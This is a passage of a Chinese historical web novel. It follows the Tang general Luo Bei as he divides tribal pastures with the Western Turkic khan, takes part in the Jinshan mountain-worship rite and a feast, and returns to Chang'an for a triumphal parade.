“他忙着呢。”哥舒亶歪着头想了想,“前些日子是在训练卫队,这些日子大概是和大汗在一起。张御史有事情找他?晚上扎营的时候可以去大帐里看看。” 张孝嵩笑道:“要是他和阿史那献将军在一起,我就不去了。他上次还专门和我说,他的家务事不在我这个监军御史的管辖范围之内。” “他们可不是在谈家务事。”哥舒亶正色道,“他们是在谈草原上最重要的事情。” 张孝嵩还要追问什么,前头的队伍忽而放缓了速度。哥舒亶神情一凛,猛然催马上前,要去问问到底发生了什么。只留下张孝嵩一个人骑在马上。 傍晚他们扎营在一条宽阔的溪流边,营帐比刚从伊逻卢城出发时多了三四倍,灯火点起来的时候,千帐灯火连绵成片,好像一个庞大的城市。 张孝嵩穿过各色营帐去大帐寻洛北,路过好几家生火烤馕的牧民、四五个孩子在营帐之间穿梭、还有人拿着衣服和新买的布料,走过三四个营帐去找人缝补,几乎每个帐篷里都有人在闲坐、吃饭和谈话——一派生机盎然的景象。 可越到营帐之中,声音越发安静。张孝嵩走到第三层营帐之间,已看到身着深青色服色的阿拔思正低声对手下交代今夜的值守:“外松内紧,外头的岗哨都给我看严了!” 似乎是注意到张孝嵩的目光,阿拔思下意识地把手放在刀柄上,见到是他,才放下心来:“张御史?我们一路这样颠簸辛苦,您怎么不休息一下?” “我来找洛将军谈些事情。”张孝嵩回答,“他在大帐中?” “是。”阿拔思躬身道礼:“我护送您过去?” 张孝嵩摆了摆手,他还是很难习惯那个穿着普通衣服就到人群中去看表演的洛北,摆出这样浩大的仪仗:“我去去就好。” 他很快看到大帐中点燃的牛皮大灯,负责帐外警戒的是巴彦——洛北最新任命的卫队长。 洛北到底还是被吴钩说服,把自己手头的兵马和俘虏打散混编,又从中挑出三千勇士,组成亲军,这些人都着深青色的服色,衣皮甲,骑快马,他们的主将是阿拔思。 而后,他又在这三千人中优中选优,再度组成了一支三十人左右的卫队——这些人均着黑袍银甲,由巴彦统帅。 张孝嵩还记得被任命的那日巴彦脸上不可置信的表情,他治下的碎叶城出了刺王杀驾的事情,他不仅没有被怪罪,还被委以这样的职务! 他拍着胸脯和在场众人保证:“倘若公子再出事,我老巴提头来见!” “张御史!”巴彦对他抱拳道礼:“您来见公子,可有什么要事?” “是。”张孝嵩点了点头:“他在忙?” 巴彦耷拉起半边脸,重重地点了点头:“和大汗还有几位部族首领在里头谈事,您要是没啥要事,建议明天再来。” 他压低了声音:“里头吵得可厉害了。” 张孝嵩当下来了兴致:“我能向里头张望张望吗?” 巴彦瞪大了眼睛看着他:“张御史这” “哎,带我去窗下看看嘛。放心了,出事了我担着,再说,我可是监军御史。讨论这么重要的事情,我不在场,怕是不合适吧。” 巴彦犹疑再三,最终还是在张孝嵩的劝说下带着他去了窗外。营帐中几个人吵得正厉害,几乎到了脸红脖子粗的地步。 阿史那献也难得地在发怒,把桌子拍得震天响,一串串的突厥话像是珠串一样地砸出来,对面的人比他更愤怒,长长的胡须同头发几乎都要一起炸起来。 洛北半抱着手臂坐在一边的阴影里,身后依旧是一张地图,神色沉静如常。他的目光盯在桌上,似乎在思考什么,没有被这场争吵影响。 张孝嵩看了一眼巴彦,那眼神的意思是:“他这不是很正常吗?” 忽而,似乎阿史那献对面的那个人说出了什么话,洛北腾的地一下起身,来到阿史那献身后,开始与对方争辩。灯火打在他英俊的侧脸上,能照出他冷峻平静的神色,像是天山上终年不化的冰雪与岩石。 巴彦已经忍不住把头躲到了窗下,还拉了拉张孝嵩的衣服,示意他一起躲低点。 张孝嵩完全不明白巴彦在害怕什么,依旧往里头张望着。阿史那献对面的那个人也依旧在争辩,只是把声音放轻了些,神态也不似刚刚那样激动。 洛北没等他说完,便把腰间的唐刀拍在桌上,冷笑一声: “你要和我打仗吗?!” 这股杀意如草原上的狂风那般凛冽,扫得张孝嵩也下意识地蹲了下去。他和巴彦对视了一眼,目光中都只有一句话:“要是一会儿真抬出来一具尸首,怎么办?” 但没有尸首,营帐中静悄悄的,什么都没有。半晌之后,依旧是洛北开口,用平静的突厥话说了什么。 那位首领出来了,手臂和膝盖上都带着泥土的痕迹。张孝嵩几乎能想象出他是怎么匍匐在地上行大礼的。 他轻轻地呼出一口气,想要起身,却发现已经有一件斑斓织金的锦袍胡服下摆走到了面前。 “洛将军。”他站起来,讪讪地对洛北笑了笑,“是我自己要来偷听,不关巴彦将军的事情。” 洛北冷笑了一声:“你是监军御史,对我一切行动皆有监察之权,我怎么敢怪你。” 这是真的生气了。张孝嵩咽了口吐沫,往旁边的巴彦那里望了望,而后又很快地收回来:“我不是有意来偷听,我是来找你商量拜山的计划” “跑二十圈。”洛北没再听他编造怎么编造都编不出来的解释,转头对巴彦命令道。 巴彦脸上露出劫后余生的欣喜,直接冲进了营帐和黑夜之中。 洛北轻轻叹了口气:“孝嵩,不是我不给你这个面子,现在不比之前,我手下有两三万人,军纪不严,是要出事情的。你一会儿去看看他,给他送两双好靴子。” 张孝嵩知道他已经是松了手,也没多争辩:“知道了。”说话之间,又不由得好奇起来:“你在和谁说话,发那么大的火?” “葛逻禄人的一个部族首领。伯克要从他手下划出牧场来,他不同意。伯克怎么劝都劝不下来,最后竟敢说,实在不行,他就去投奔东边的默啜。” 他说着,冷笑一声:“哼——他要是想打仗,我可以奉陪,就是不知道他那几万人的部族,能不能禁得起我大军的一击。” 张孝嵩一时没有明白:“下午哥舒亶才和我说,牧民们追随我们,是为了迁移去山上的牧场,现在你又要把葛逻禄人的牧场划出来,既然牧场会发生变动,他又何必这么在意呢?” 洛北笑了:“不是这个道理,孝嵩。牧民们迁移,并不是像无头苍蝇那样乱撞,走到哪里水草丰茂,就驻扎下来。” 第132章 “你比我更适合当一位草原可汗。” 洛北带着张孝嵩向外走去, 跨过营帐外的篱笆,外面就是无边无际的草原。深夜里,月光明亮, 草原辽阔, 只有风声呜咽,在绵延的草海中穿梭。 他们一道走到离营地不远的那条溪流边,蜿蜒的溪水在夜色下泛着银光: “孝嵩,我们一起走来,你应当也看到了。草原虽然大, 大部分都是荒漠和戈壁,可供畜牧的草场并不多。所以,各部迁移的路线和草场大体上是固定的。这几日, 我和伯克就是在和这些部族领袖们讨论路线如何划分、草场如何分配。” 张孝嵩点了点头:“怪不得哥舒亶说,你们在讨论草原上最重要的事情。” 洛北轻轻一笑:“当然了,在草原上, 为了草场动起刀兵, 都不是稀奇的事情。多少纷争、多少世仇,究其本源,都只是为了‘为什么你家的草场比我的好’、‘为什么你的牛羊偷食了我家的草’。” “我明白了,这就是为什么阿史那献将军要征召各部首领一起到金山去拜山。有了拜山的这个由头, 你们就可以坐下来一起讨论这些庶务了。”张孝嵩道。 “不错,不独伯克是这样, 草原民族的可汗们都要定期征召自己的部下的各族首领们聚会,记录草场的情况,让各部的游牧路线错开, 分配草场的归属” 洛北顿一顿,似乎是为了缓和气氛, 他开了个玩笑: “不然,你以为这些草原上的贵胄们每日在做什么?骑马、打猎、喝酒,然后商量怎么攻打中原吗?” 张孝嵩被他逗得哈哈大笑:“现在我明白,为什么昔年的继往绝可汗阿史那斛瑟罗不能服众,非要用严刑峻法来恐吓众人了。他是生长在长安城中的贵胄子弟。他离开草原太久了,离开草原的生活太久了,已经搞不清楚这些门道,也不知道草原上的牧民在想什么了。” “这话张御史可以说,我的这个儿子说恐怕就不合适了。继往绝家族虽和我家有世仇,却和我们同姓同族。斛瑟罗是我的父辈,背后非议他,不是君子所为。” 说话之间,阿史那献也走了过来。他大概是找个机会出来透透气,不料却在溪边和洛北和张孝嵩打了照面。 张孝嵩察言观色,总觉得这对父子之间有话要说,干脆利落地躬身道礼,立刻就寻了个要回去写奏疏的托词转身走人,只留下这对父子在溪边静默。 “伯克,最多还有三日就能到金山了。”最终还是洛北先开了口,“我们征召的诸部首领之中,只有鼠尼失部和弓月部的两位首领还在路上,大概会在明日与我们会和。” 这两部首领都是与洛北在吐蕃雪山下盟誓过的死忠。洛北不担心他们会对牧场的调整不满。 这小半个月下来,阿史那献已经习惯了和洛北一起工作,此刻听他说话的沉着语气,便知道他是胸有成竹: “这么说,在到达金山之前,我们便能把新的牧场都划分好?” “是。”洛北点了点头,他从袖中取出一份卷好的地图,双手递给阿史那献:“总体而言,与我们之前预想的差别不大。” 阿史那献借着月光扫了一眼地图,地图上按比例绘着北庭、安西及昆陵等都护府的情况,把各部已经划分出的牧场和路线都详尽地标注了上去。 “等此图完成,我会再命人重绘一副,献给伯克。”洛北接过阿史那献递还的地图,重新塞回了袖中:“但愿上天庇佑,我们此举能为草原带来五十年的和平。” 阿史那献有些惊讶地侧过头去看洛北,他金色的眼眸在夜里没有白日那样明亮,但依旧熠熠生辉,就像是一轮初生的太阳: “你想借着这一次机会,重建草原被毁坏的秩序?” “是。”对着阿史那献,洛北坦然承认了自己的想法。 牧场之于牧民,便如同土地之于农民。洛北不相信,仅靠这一次划分就能为草原带来永恒的和平。 但只要他在这里,他的军队在这里,就能逼得那些满心战争与杀戮的首领们在战争之前多想一步—— 这件事情,是否可以留到部族议事的时候,到大汗和特勤的面前解决呢? 单就这多想的一步,就可以为草原避免无数不必要的流血与牺牲,让数百个家庭不用失去自己的父亲、丈夫和儿子,少掉他们的母亲、妻子和女儿们的眼泪。 阿史那献沉默了片刻,似乎是百感交集,又似乎在想些别的什么。洛北自然不会开口催问他,两人便漫无目的地向前走着。 两人一直到走到上游的一片树林之间,皮靴踩上铺了几层落叶的小路,发出咔哧咔哧的声响。几只飞鸟被这声响惊醒,拍着羽翼飞到天空中去了。 两人不约而同地抬头望去,夜色已经很深了,借着几枚星星在夜空中发出的亮光,可以影绰绰地辨认出那些黑压压的枝丫。 “洛北。”阿史那献忽而开口,用突厥话轻声说:“你比我更适合当一位草原可汗。” 洛北急切地要张口说什么,却被阿史那献抬手止住: “今天张孝嵩说的那些话不仅适用于斛瑟罗,也适用于我自己。我离开草原太久了,我已经不知道哪里的冬天温暖、哪里的夏天没有那么炎热、哪里的草好、哪里的草坏,哪里最容易起风雪而这都是一个部族领袖最基本的功课。” “这不是您的错,伯克。”洛北忙道。 阿史那献笑了:“不要急着安慰我,孩子,让我把话说完。你是我的孩子,没有必要为我的情绪负责。” 洛北低下头:“伯克,抱歉。” 阿史那献干脆回过头去,揉了揉洛北的头:“要是你这样的儿子都要和父亲道歉的话,我这样的儿子又该怎么办呢?” 他见洛北抬起头,才把自己的话说了下去:“所以,拜山仪式上,你来作为次祭吧?” 草原上的拜山仪式和长安城里祭祀天地的仪式有诸多相通之处,比如主祭一般是君主进行,又比如,如果安排的次祭是君主的孩子——那他就是理所应当的下一任君主。 “我明白您的意思。”洛北垂下眼眸,望着地面:“但假如,假如我不是您的孩子呢?假如我根本就没有阿史那氏的血脉,也不是室点密大汗的子孙我怎么能继承您的汗位,怎么能成为草原的领袖?” 阿史那献轻轻笑了一声,这些日子洛北的逃避、别扭以及恭敬似乎都在此刻找到了答案: “原来你在担心这个啊。实话说,我也并不完全相信你母亲的那些话。但归根究底,那是我们上一辈人自己的事情。” 他转过身去,直直地盯着洛北的眼睛,声音在夜风中显得格外低沉: “更何况,草原上的狼群,从来不会因为一只狼的血统来选择它们的领袖,它们只会想选那只最强壮、最智慧、最能带领他们活下去的狼。洛北,相信我,时至今日,你已经不需要阿史那氏的血统来帮你统治了。” 洛北低下头:“我” “你有荡平四方的能力,你能为草原带来和平与繁荣。至于你是不是我的孩子我倾向于认为是,当然,我接受你的其他意见。”阿史那献笑道:“我只有一个小小的希望,希望众多首领所在的拜山仪式上,你能喊我一声‘父亲‘。行吗?” 洛北的心中涌起了一股复杂的情绪,他的双眸在月光下显得有点闪烁。他心里很清楚,阿史那献并不是在为自己考虑,而是在为草原的稳定考虑。 他们若在那些部族领袖表现出一点不和的苗头,就会有狡猾如狐狸般的人围上来挑动不平,直到逼得他们互相反目,大唐在西域的统治再度土崩瓦解为止。 “父亲,我真是个混账。”他用比喃喃自语轻不了多少的声量开口,“我竟然要逼您主动对我说这些话” 阿史那献忍不住笑得越发灿烂了:“你怕是还用不上‘逼’这个字眼哟。草原上的儿子们为了逼父亲承认自己的地位,可以向父亲射出鸣镝——你这算什么,只能算一点小小的不愉快罢了。” 三日之后,队伍来到了金山的山脚下,春日风光正好,群山密林和草原都绿起来。金山下的一草一木似乎总是带着一层金光,哪怕枯萎,凋零,这金光也是不灭的。 在这黄金的群山上,有着西突厥先人们居住过的石室、有着室点密大汗和统叶护可汗的陵墓。 阔别此地数十年之后,再一次有西突厥的贵胄们踏上了这片祖先的土地。 营帐在山间绵延成片,各部的领袖升起了自己的旗帜,但唐军的大旗和乌特特勤的飞鹰旗还是最多的。黑红两色交相辉映,在一片绿野里显得分外显眼。 为了祭典,众人都穿着自己的新衣和华服。哥舒亶穿着一件卷草纹的锦缎长袍,朱邪烈的衣袍边镶着貂绒,莫潘就连头发的长辫里都编进了金珠。琪琪格就更不用说了,头上的发饰、手上的手镯和手环,腰间的挂饰没有一处是空了的,往那里一站,就显出十二分的珠光宝气。 张孝嵩穿着一身青色的官服,在他们身边,总觉得自己有点不太自在。为了避免尴尬,他四处张望着洛北的踪迹:“洛将军呢?” “昨晚就没看到他。”哥舒亶也四处张望,“可能还在休息?他这几日忙得够呛,大汗又要他次祭他怎么也得养精蓄锐一夜再上山去。” 他话音不落,已被不远处的部族子弟发出的惊叹打断。那里的人群正如潮水一般分开,人们半跪在地,按着胸膛,向从中穿过的马匹和马鞍上的人行突厥人的最高礼节。 “啊,应该是特勤来了。”朱邪烈率先越过众人,向那边跑去。不等洛北跳下马,他也已经半跪在地上,一手抚肩,低头行礼。 洛北跳下马来,一头辫发在空中滑出一道圆弧,再度安稳地落在他的肩膀下方,白紫的华服在晴朗的天空下幽幽地泛着光。 一众聚集在此的部族首领纷纷半跪下身,向他道礼。他以那双金色的眼眸一一望过众人,扫到犹自站在那里的张孝嵩时,短短地停了一下。 张孝嵩几乎为他的目光所慑,不由自主地躬下身,长揖在地。 “诸位。”洛北转开目光,重新跳上马,“我代我父行此责——” “我们出发吧。” 第133章 “今日,我父子在此,与诸部重盟十箭之誓。” 金雕展开双翅, 在高山的天空上肆意翱翔。行进的队伍越走越高,直到绵延的青草地消失了,针状叶片的树林稀疏了, 只留下辽阔的群山和一片又一片的戈壁滩。 不远的山峦转角处, 有淡蓝色的冰川停在那里。水流沿着融化的冰川交织而下,浸染着荒滩上的一草一木。周围冰峰矗立,就像守卫这座安宁之地的神明。 西突厥人世代祭天的圣坛以嶙峋粗砺的数块岩石为基座,堆叠着无数白色的石块。祭坛前已经站了个戴着兽面的人,他戴着插有翎羽的发冠, 一手持鼓,一手托天,以舞步的形式来到了众人之间, 向队列正中的阿史那献请命。 阿史那献跳下马,一手抚胸,向他点了点头:“可以开始祭祀了。” 萨满张开双手, 让衣袍上的五彩布带随着山间的狂风飘舞。乐队奏起了古老的颂歌——这歌声已在草原上流传了太久太久, 久到几乎在场的每个人都听过这首旋律。 火堆燃烧了起来。萨满一边舞蹈,一边向火堆中抛洒收集好的香木,让烟雾把子孙后代的心愿带上苍天,带给祖先与世代崇尚的山神。 阿史那献举起双手敬天, 而后半跪在地,等待侍从们抬上他为山神准备的祭品——那是他在金山的山麓下捕到的一匹野生的白马。 白马的鲜血缓缓流出, 染红了祭坛上的白色石头,阿史那献站起身来,转向众人:“愿神圣的祖先和山神保佑我们, 保佑西域和平永驻,百姓万世亲如兄弟。” “万岁!” 山上的数万人齐齐高呼, 声音响彻云霄。 而后是洛北。他在众人的瞩目之下走上前去,半跪在阿史那献身后,侍从们把他准备的祭品牵上祭坛——那是一只新猎的野鹿,此刻正在鲜血染过的石堆上等待死亡。 他低声以突厥语吟唱颂词,低沉的声音随着山谷风声传到了在场的每个人的耳中。 “我以金弓,向诸部重盟十箭之誓。 愿诸部团结友爱,永不迷惘。 愿诸部子弟,坚强不屈。 愿西域和平,万年流传。” 他歌声方毕,萨满已向他递上一把错金饰彩的弓箭,那把弓箭比他们平时在战场上使用的更长更重,洛北接过手边,略作掂量,便弯弓搭箭。 他腰身使劲,整个人亦如一支蓄势待发的利刃,把长弓的弓弦拉到满月,而后手指一松。 箭影如闪电般刺破天空,一声轻响后,血花炸开在那只野鹿身上。它连哀鸣都没有来得及发出,便倒在了祭坛之上。 鲜血再度染红了祭坛,洛北高高地举起手中的弓箭,转身看向在场的一众部族首领。 天边的云彩聚集,遮蔽了大半的日光,只有一缕柔光,破云而下,落在他英俊的面容上,照出他璀璨如太阳般金色的眼眸,望上去丰神俊朗,威严冷峻,根本不似人间所有。 没有人再敢与他对视了,甚至没有人敢在他面前抬头,群山与冰川之间,只回荡着他的声音: “天神与祖先作证,以我手中的金弓为记,今日,我父子在此,与诸部重盟十箭之誓。” “望诸部共遵此誓,违背者,天下共击之!” 诸部首领与他们的贵胄亲随们高声应和: “遵命!” 洛北的唇边噙了一点笑意,他招呼一边的侍从:“拿酒来。” 侍从恭敬地捧起酒碗,等着萨满取了一点祭坛上的鲜血混入酒中。这一碗血酒便从阿史那献手中传递下去,直到从新封的突骑施黑姓首领苏禄那里传回洛北手中。 他望着人们肃穆的面容,将剩余的酒液一饮而尽。 萨满再度向天呼号,他像风一样狂舞起来,最后撒出手中的纸马,如同死去一般倒在地上。 拜山的仪式结束了。众人回到山间的营地之中,餐食和美酒又摆满了营地间的空地,一场草原上的盛会正待开幕。 朝廷给阿史那献的封号是“西突厥十姓可汗”,但他麾下的部族远比十姓要多,云集而来的各部贵胄们几乎塞满了大半个营地。 还有附近夏牧场放牧的各部子民,他们听闻乌特特勤威名已久,听闻他真的在此,赶忙穿上自己最好的衣服来参加盛会。 于是,作为乌特特勤的洛北,每日免不了的就是和十几个部族的成百上千贵胄们饮酒作乐、谈笑风生、骑马奔驰、弯弓射猎…… “特勤他好像一点都不受影响,是不是?”琪琪格被连绵的宴会和没完没了的饮酒、舞蹈折磨得疲惫不堪。她好不容易在晌午之前爬出帐篷,出来喝了一杯清水,洛北却已经神清气爽地带着巴彦巡营归来,与其他人交代防守的事务。 “不小心不行吧。”哥舒亶脸上也有了倦容,他打了个大大的哈欠:“我听说,葛逻禄人很不平静?” “他们想趁我们都在金山的时候搞点小动作,看看能不能占点便宜。” 洛北正好来到他们身边打水洗手,听到他们询问,便开口与他们解释: “我派阿拔思带一千兵马去震慑他们一番。不必担心,他们的首领们都在我们身边,他们不敢搞出什么大阵仗的。” 哥舒亶的脸有点发红,他站起身,无奈地对洛北道: “洛将军,你怎么又把担子一肩担了……” 洛北歪了歪头,故作正经道:“哥舒亶,朝廷命我等拜山的诏书上只让我带兵护送。也就是说,朝廷把你们的安全交给了我。难道你要抗命么?” 哥舒亶说不过他,只得低头“唉”了一声,转身要走,迎面却差点撞上了张孝嵩:“张御史来得正好,快管管我们这位主帅吧,你再不劝劝他,他能把自己累死!” 张孝嵩不明就里地望向洛北,却与他带着促狭笑意的眼眸撞个正着。他立刻心知肚明谁在这场“争吵”中占理,立刻开口岔开了话题: “明日我们就要起行回伊逻卢城了。诸位是怎么打算的?” 琪琪格期待地望着他,也没在他脸上读出半点不舍的相思之情,只得期期艾艾地把头一低: “我们都是朝廷新册封的部族领袖与羁縻州的都督,当然要留在各自的地方安抚百姓了。恐怕,也就哥舒将军能和你们一道回去。” 哥舒亶摇了摇头,摊开双手:“我可不回长安!长安哪有草原上自由舒服。我已经向圣上请了旨,说我新任首领,唯恐不能服众,请他准许我这段时间就留在本部子民们身边,安抚好了部族百姓再回去。” “看起来只有你和我要回去,孝嵩。”洛北道,“我去长安献俘,你回长安交旨。” “呀,特勤要走?”莫潘不知何时加入了他们这场谈话,“那今晚我们可得好好喝一场。” “还要跳舞!唱歌!”琪琪格与她的弟弟一唱一和,“特勤,这次您可要给个面子,不要再借口醉酒不下场啦!” 话虽是这样说,但当舞曲真的响起的时候,酒席已经过了半程。星罗棋布般遍布在山脚下的篝火堆边,到处是欢歌笑语,纵情歌舞的人群。 阿史那献坐在主座,望着与鼠尼失部、弓月部两部首领喝了第五轮的洛北,终于忍不住开口替他结尾:“好了,两位首领,我来陪你们继续喝吧。我的儿子再不下去跳舞,舞曲就要结束了。” 弓月部首领哈哈大笑:“是,是,大汗提醒的是。特勤青春年少,应当下去和姑娘小伙子们一起歌舞。” “是,是。”鼠尼失部首领也附和道,“特勤不必挂心我们两个,只有一条,下次再有建功立业这样的好事,带上我们两部的子弟!” 洛北笑着应了下来,他对阿史那献躬身一礼,便从大帐中推了出去。 舞曲正奏到高亢激昂的龟兹乐,不少来自龟兹的舞女正在篝火边翩然起舞。她们象牙般的肌肤在火光下泛着迷人的光泽,把在场不少人的目光都吸引了过去。 洛北轻轻呼了口气,心中顿觉轻松,他已经很长时间没有在草原上这么正儿八经地跳过舞了。这样看来,就算他跳错了舞步,又或是踩错了拍子,也不会有人发现吧…… 自他的第一个旋身开始,草原上的目光就被他轻盈矫健的舞姿吸引了过来,好像这星光闪烁,火光明灭,都只是照亮了这一个焦点。 舞曲的节奏越来越快,洛北的舞步也越来越激昂,仿佛他本身就是这片大地的一部分,与草原上的风、草、山川和河流融为一体。 “我和洛北认识多年。”张孝嵩在人群之中发出感慨,“还是第一次知道他会跳舞。” “张御史,我们草原上的儿女,生来就是会跳舞的。”哥舒亶笑道,“不然冬日里寒冷的漫漫长夜,你叫他们怎么度过呢?” 他一边笑,一边旋身入了人群之中,也在篝火边跳起了舞。 洛北顺着哥舒亶来的方向一望,立刻就望到了一边的张孝嵩,他伸开一臂,微微躬身,向张孝嵩做了个邀请的动作。 “孝嵩,来不来跳舞?” 张孝嵩望着周围的人群,望着群山、篝火、美食与美酒,也干脆利落地下定了决心,踩着汉人的踏歌步子走入人群之中。 欢呼声和歌舞声更高了,永不停歇的舞会几乎到天边泛白才停止。 张孝嵩累得精疲力尽,笑得脸都要僵了,他穿过几顶营帐去打些溪水来洗脸,却看到一颗晨星在深蓝色的天空中闪烁。 它是那么大,那么亮,在整个天空中,它是唯一一个发出耀眼光芒的东西。 “那就是金星。”洛北在他身侧轻声说,“是草原子民心中最伟大的乌迈女神的化身。” “乌迈女神?”张孝嵩回过头去问洛北。 “翻译成汉话就是‘光明’女神。我的突厥名字‘乌特’也是来源于此。” 洛北露出一个璀璨明亮的笑容,凛冽的山风吹乱了他的头发,那双金色的眼睛啊,比晨星更耀眼。 第134章 “什么叫‘掷果盈车’,我今天算是见识了!” 洛北在伊逻卢城的安西衙署前与高仙芝打了个照面。 高仙芝素以自己大唐将军的身份自豪, 又极为爱惜仪表,此刻他却只穿着一身普通的便装,向洛北拱手道礼时, 身上也没有了昔日那些环佩装饰碰撞的声响。 洛北向他还礼:“高副使怎么在伊逻卢城?” “我是来向郭都护辞行的。”高仙芝抬起头来, 脸上是混杂着愧疚和悲伤的复杂神情,但他很快就把这些心绪掩饰下去,“朝廷已经批准我自安西调往陇右的安仁军担任副使。” 洛北神情微动,安仁军驻扎就驻扎在他从吐蕃手中要回来的九曲之地上,是直面吐蕃的最前线: “在九曲之地的吐谷浑首领慕容宣彻是我的朋友。若你需要, 我可以修书一封给他。” 高仙芝摇了摇头,望着洛北琥珀般的眼眸:“洛将军,我之所以千方百计地从安西调往陇右, 就是为了证明,我大唐天下,不是只有你这一位英雄男儿。” 洛北低下头笑了, 他伸出一只手, 改用极为生疏的高丽话道:“好吧,既然如此,我祝你旗开得胜。” 高仙芝也伸出手,与他击掌为诺:“好。下一次, 请洛都护来喝我的庆功酒。” 这击掌声在安静的安西衙署中显得有点奇怪,一时之间, 四下里巡逻的士兵、办事的官吏、捧着茶水和食物往来的仆役和奴婢们都纷纷侧目。 洛北和高仙芝这才觉得自己有些不合时宜。两人相视一笑,还是高仙芝先开了口:“洛都护真是深藏不露,我与你相处年久, 竟然从来不知道你会高丽话。” 洛北坦然道:“高看我了,我就会这么一句。” 高仙芝释然了, 他低下头,轻轻笑了一声,不知道是在嘲笑自己,还是嘲笑洛北。而后他向洛北拱手:“洛都护,珍重。” 目送高仙芝的背影走出安西衙署,洛北才转身向郭元振的书房走去。郭元振正一个人在桌后读一封信,见他来了,才将信撇到一边,用狐疑的目光上下打量了他一番。 洛北被他的这种目光盯得很不舒服,不由得也上下望了望自己的衣着,他穿得是件普通的暗纹天青缺胯袍,腰束蹀躞带,头上是再常见不过的青黑软脚布幞头:“怎么了,大帅?” 郭元振深深地叹了口气,将手中的信件一叠,伸臂示意他跟着自己走。两人走出书房,一路漫步到了衙署后院的花园之中,郭元振才开了口: “我听说你在金山上重着突厥装束,以西突厥十姓可汗之子的身份次祭山神?” 洛北点了点头:“是。” 郭元振又问:“那你也应当知道,阿史那献在之前的奏折里密奏皇帝,说你是他的儿子。请皇帝准许他让你认祖归宗?” “此事父汗倒是没有和我商量过。只是我私心揣摩,他大概是为了避免我担上冒名欺君的罪名,才自己上奏请罪吧?”洛北道。 郭元振忍不住转过身来望着他,见洛北神情平静,温和如渊,俊朗的面容一如往常,那一腔情绪突然无处抒发。 有时候,他也觉得洛北这幅光风霁月,正大光明的模样不太适合长安城的尔虞我诈,但此刻,他只是深深地叹了口气: “你倒是对你这位父汗的心思猜的很准啊。只是我不明白,对你来说,在草原上称可汗就那么好么?好过入朝拜相、执政中枢?” 洛北一时没有明白他的意思,眉头微蹙,露出一点迷惑神色。 郭元振见状,越发地恨铁不成钢起来: “你知不知道,朝廷规制,胡人蕃将,无论多么功勋卓著,都是不能入政事堂为相的?他在此刻认了你的身份,就等于断绝了你在朝中的仕途!” 他顿一顿,声音越发急躁:“我原本已为你筹谋了兵部侍郎的位置,如今眼看着就要化为乌有了!” 洛北这才知道他这股无名火到底从何而来,他想了想,还是温声道: “大帅。或许‘洛北’真能登上那条青云之路,成为一人之下,万人之上的大唐宰相。但是,能安定西域,统帅诸部的,却只有‘乌特特勤’一个人。” 郭元振本要笑骂他一句好大的口气,张口时却又不自觉地停住。 在洛北出发拜山之后,郭元振曾经一个人站在伊逻卢城的议事厅中观看调整后的安西的疆域地图,那时候他就惊讶地发现,当年洛北在碎叶城里发的那些宏愿,正无一例外地被他自己亲手实现。 “再说,”洛北轻轻弯起唇角,眉眼弯弯,露出一个有些狡黠的笑容:“我若真的想叛唐自立,永远留在草原做可汗,只需要在拜山之时振臂一呼……可我不还是回来了吗?” 郭元振本在沉思,被他这样一说,也不由得一笑,伸手轻轻点了点他:“你呀。要我怎么说你好这样的话天知地知,你知我知,千万不要再说了!” 洛北轻轻笑了,春风吹过他露在额前的发丝,显出一点少年人才有的肆意张扬。他开口接过了话题的主导权:“大帅找我来,不会就是为了问这些事情吧?” “那倒不至于。”郭元振把自己刚刚在看的信件递给他,“长安城来了信,圣上赐婚武延秀和安乐公主,婚期定在近日。信里的意思,是让我们捎些西域珍宝去做贺礼。你可要好好挑选一番。” 洛北知情识趣地没有问是谁写的信。他点了点头,恭敬应下:“属下遵命。” 郭元振见他答得爽快,便知道自己这位能干的下属自有办法,他轻轻地叹了口气: “武三思虽死,武家在朝中却犹有余势。这次回到长安,不知道又要面对什么。” 东归的军队回到长安时,酷热的夏季已经到了末尾。金桂盛开的长安城里,处处浸染着一股温润的甜香。 QZ 皇帝李显为西域重定欢欣鼓舞,特意在长安城中举行了盛大的班师典礼。自渭水桥上到宫门之前,宽阔的长安道路上处处张灯结彩,道路两旁拥满了前来观礼的长安士女。 “打头的就是郭元振郭都护吧?” “不错,若无他算无遗策,西域安得太平?”街边聚集着新一批进京赶考的学子,正对着众人指指点点。 “那着绯服的可是解琬解大夫?他安定西域,劳苦功高。” “就是,就是,这次还得是他出马” 那说话的人话还未完,眼睛已经望到了下一个人身上,他双目一亮,立刻惊叫了一声:“那是洛将军,就是那个‘雪夜破牙帐’的洛北洛将军啊!” “他怎么那么年轻啊。”这是某位白头举子羡慕的声音。 “建功边疆。大丈夫当如是啊。”这是一位挟剑举子的声音。 鼓乐喧天,洛北根本听不到这些议论,但两边百姓的热切他却是真真切切地感到了——不断有长安百姓向他掷以香花和秋果,他不得不一直调整身姿,才叫那些花朵和秋果不要砸到他脸上和头上。 “早知如此,应该穿盔甲来。”他轻声抱怨道。 张孝嵩在他身后,把这抱怨听了个正着,不由得大笑道:“洛将军,我得中进士的时候,也是打马游过街的。虽说也是观者如堵,可没有今日这样的阵仗。” 洛北知道他要调侃自己,奈何队列严整,实在没地方可躲,只得开口劝阻:“孝嵩……” 张孝嵩可没有打算放过他,立刻打断他,说出了下一句:“什么叫‘掷果盈车’,我今天算是见识了!” 洛北叹了口气,好在宫城就在眼前不远处,省了张孝嵩后面的调侃之语。 皇城前的朱雀门洞开,皇帝李显身着礼服,出现在城楼之上。众人纷纷下马,郭元振出列,高声向皇帝汇报战果: “臣左骁卫将军,安西大都护,金山道行军大总管郭元振协同御史大夫、安西经略使解琬,与安西副都护、左骁卫中郎将洛北、监察御史张孝嵩向吾皇恭献大捷!万岁,万岁,万万岁!” 众人各自躬身行礼。 “众位平身。”李显难掩喜色,伸出双手示意众人起身。 他望着眼前的军队,内心充满了激动的呼喊:看啊,我终究没有辜负陇西李氏的血脉,没有辜负太宗皇帝的荣光! 郭元振继续高声道:“臣等于此战之中俘获突骑施首领,叛将娑葛及其弟遮弩,还有突厥默啜之子同俄特勤,及各部酋长、将领一十二名,献于吾皇!” “好。”李显隔着城楼望向台下的一众蕃酋:“娑葛首领,你与我大唐有盟在先,墨迹未干,你便背盟东侵,这一点,你确有错。但朝中武三思等人歪曲事实、挑起边祸,也是有错。” 这话……娑葛不可置信地抬起头来,他原以为自己此来长安必死无疑,可听这口气,皇帝竟然不打算杀他? “好在如今罪臣武三思已经伏诛,宗楚客也流放岭南。娑葛首领,你可愿捐弃前嫌,在我大唐担任朕的禁军将军啊?” 娑葛两眼一热,两行泪水便已滴落在面前的地上:“罪臣安敢得天可汗恩典?罪臣愿为庶人,为天可汗戍守宫禁。” 